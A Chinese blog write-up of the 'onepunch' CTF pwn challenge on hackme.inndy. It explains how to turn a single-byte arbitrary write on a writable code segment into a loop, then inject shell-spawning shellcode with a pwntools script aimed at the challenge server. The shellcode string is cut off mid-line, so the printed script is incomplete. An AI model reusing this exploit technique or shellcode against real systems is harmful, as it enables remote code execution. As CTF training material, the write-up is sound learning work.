# hackme inndy pwn onepunch writeup

原创

charlie_heng 于 2017-12-31 14:10:09 发布 353 收藏

分类专栏： pwn



本文链接：https://blog.csdn.net/charlie_heng/article/details/78941701





继续来做题目，这次的pwn主要功能是一个任意地址写一个字节，然后就结束。。。。

然后找了半天。。。完全没思路。。。一个字节只能写一次。。。。

然后找了下别人的wp，发现代码段居然可以写，那骚操作就可以有很多了

```
.text:0000000000400756 loc_400756:                             ; CODE XREF: main+5B↑j
.text:0000000000400756                 mov     rax, [rbp+var_10]
.text:000000000040075A                 mov     edx, [rbp+var_18]
.text:000000000040075D                 mov     [rax], dl
.text:000000000040075F                 mov     eax, [rbp+var_18]
.text:0000000000400762                 cmp     eax, 0FFh
.text:0000000000400767                 jnz     short loc_400773
.text:0000000000400769                 mov     edi, offset s   ; "No flag for you"
.text:000000000040076E                 call    _puts
.text:0000000000400773
.text:0000000000400773 loc_400773:                             ; CODE XREF: main+75↑j
```

这里比较写入的字节是否为255，是的话就输出No flag for you

jnz loc_400773二进制是\x75\x0a 0a是偏移，我们只要把这个弄成负数，就可以跳回上面读取写入地址的地方

然后把jnz loc_400773下面的代码改成shellcode就可以

但是找了几个shellcode，发现很多都有255，那么这里就很简单，只要把cmp 那里的改成比较254就可以

但是如果直接输入 xxxx 254的话就直接过了jnz，这里有个小trick，用-2代替254就行了

下面就是完整的payload

```python
from pwn import *
import time

#p=process('./onepunch')
p=remote('hackme.inndy.tw', 7718)

#context.log_level='debug'

p.recvuntil('What?')

p.sendline('400768 -61')

time.sleep(0.2)

p.sendline('400763 -2')

shell_addr=0x400769

#gdb.attach(proc.pidof(p)[0])
#raw_input()

shellcode='\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68


#context(arch='amd64',os='linux',log_level='debug')
#shellcode=asm(shellcraft.sh())


for i in range(len(shellcode)):
    p.sendline(hex(shell_addr+i)[2:]+'  '+str(ord(shellcode[i])))
    time.sleep(0.2)

p.sendline('400700 254')

p.interactive()
```